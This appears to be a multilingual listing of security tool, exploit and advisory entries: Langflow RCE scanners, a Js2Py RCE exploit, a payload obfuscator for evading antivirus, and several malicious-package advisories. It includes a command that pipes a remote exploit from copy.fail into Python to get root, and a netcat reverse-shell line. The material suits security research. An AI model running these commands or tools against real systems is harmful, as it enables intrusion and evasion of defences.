Code-Roulette

코드 룰렛 터미널 인터페이스 기반, 온라인 멀티플레이어 러시안 룰렛. 패자가 승자의 Python 페이로드 파일을 실행하게 됩니다. 코드 룰렛 개요 게임 작동 방식 데모 비디오 사용법 패키지로 사용 UV 패키지 매니저로 사용 Pip으로 사용 페이로드 파일 개발 라이선싱 주요 구성 요소 페이로드 디렉토리 면책 조항 | ---|--- | | 개요 코드 룰렛은 터미널 사용자 인터페이스TUI 기반의 온라인 멀티플레이어 러시안 룰렛 게임으로, 패자가 승자가 선택한 Python 페이로드를 강제로 실행해야 합니다. 채팅 기능 포함. 게임...

CVE-2022-35649

CVE-2022-35649 ペイロードジェネレーター（Python 2を使用）とCVE-2022-35649の詳細分析 PythonのPoCは、GhostScript 9.50の0-dayを悪用した際にペイロードを生成します。この0-dayエクスプロイトは、Ubuntuリポジトリのデフォルト設定のImageMagickに影響します（Ubuntu 20.04上のImageMagickのデフォルト設定でテスト済み）。 このプロジェクトは教育目的のみで作成されており、法律違反や個人的な利益のために使用することはできません。...

CVE-2025-3248

English | 中文 Langflow 漏洞扫描器 用于扫描 Langflow 应用中 CVE-2025-3248 漏洞的工具。 功能特点 支持单目标扫描或使用 FOFA 批量扫描 在存在漏洞的目标上执行系统命令 获取系统信息 支持自定义 payload FOFA 扫描进度条显示 美观的命令行界面 安装方法 1. 克隆仓库： root@kitploit: git clone https://github.com/xuemian168/CVE-2025-3248.git cd CVE-2025-3248/ 2. 安装依赖： root@kitploit: python3 -m venv...

TEST-CVE-2026-31431

TEST-CVE-2026-31431 root@kitploit: oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d...

pyobfuscate

pyobfuscate Pythonペイロードを難読化して完全にFUDにするための、シンプルかつ効率的なスクリプト 注意: root@kitploit: 1. ペイロードをVirusTotal.comにアップロードしないでください。このツールは時間の経過とともに 機能しなくなります。 2. VirusTotalはシグネチャをAV企業と共有します。 3. 繰り返しますが、愚かな真似はしないでください! インストール方法: root@kitploit: 1. git clone https://github.com/machine1337/pyobfuscate.git 2. cd...

Langflow Remote Code Execution

Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the /api/v1/buildpublictmp/flowid/flow endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code. frozenstringliteral: true This module requires...

Malicious code in twrap-tool (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d9903cc9163ada9951dee4ee1f364648cac0e492df9a32582ad3ed8303d29231 twraptool/init.py defines two public functions, formatblock and aligncolumns, whose real behavior is to fetch a Python file from...

MAL-2026-6415 Malicious code in anthropic-claude-latest (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 39eab369e2498da827d3bbd331effdf24b99ab28961e62da7328e4476e328876 Package anthropic-claude-latest claims to be an 'Official Anthropic Claude SDK wrapper' but ships no Anthropic SDK code; the README is for an unrelat...

EUVD-2026-32664

claude-code-cache-fix is a cache optimization proxy for Claude Code. From 3.5.0 to before 3.5.2, tools/quota-statusline.sh introduced in v3.5.0 interpolates Claude Code's hook stdin payload directly into a Python triple-quoted string literal. A ''' byte sequence in any user-controlled field of th...

Js2Py 0.74 - RCE

Exploit Title: Js2Py 0.74 - RCE Date: 2026-02-03 Exploit Author: Ali Sünbül xeloxa Author Page: https://github.com/xeloxa Vendor Homepage: https://github.com/PiotrDabkowski/Js2Py Software Link: https://pypi.org/project/Js2Py/ Version: payload.js python3 exploit.py -c "nc -e /bin/bash 10.10.10.10...

Exploit for Eval Injection in Langflow

CVE-2026-33017 - Langflow Unauthenticated RCE...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released on NPM. They contain malicious code, and its content was NOT yet...

Embedded Malicious Code

Overview @emilgroup/commission-sdk-node is an A new version of the package Affected versions of this package are vulnerable to Embedded Malicious Code. The publishing pipeline of this package was compromised as the result of Trivy's GitHub Actions compromise and a malicious versions were released...